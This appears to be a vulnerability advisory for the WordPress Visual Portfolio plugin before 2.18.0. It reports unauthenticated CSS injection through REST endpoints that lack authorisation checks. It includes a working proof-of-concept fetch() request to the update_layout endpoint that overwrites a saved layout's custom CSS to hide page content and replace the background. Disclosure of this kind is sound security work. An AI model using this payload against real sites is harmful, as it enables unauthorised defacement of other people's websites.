Visual Portfolio < 2.18.0 - Unauthenticated CSS Injection

2022-08-1500:00:00

Krzysztof Zając

130

0.001 Low

EPSS

Percentile

41.1%

JSON

The plugin does not have proper authorisation checks in some of its REST endpoints, allowing unauthenticated users to call them and inject arbitrary CSS in arbitrary saved layouts

The post_id is the ID of a saved layout

fetch('/?rest_route=/visual-portfolio/v1/update_layout&post_id=8&data[vp_custom_css]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none !important};', {
  method: 'POST',
}).then(response => response.text())
  .then(data => console.log(data));

0.001 Low

EPSS

Percentile

41.1%

JSON

Related for WPEX-ID:5DC8B671-F2FA-47BE-8664-9005C4FDBEA8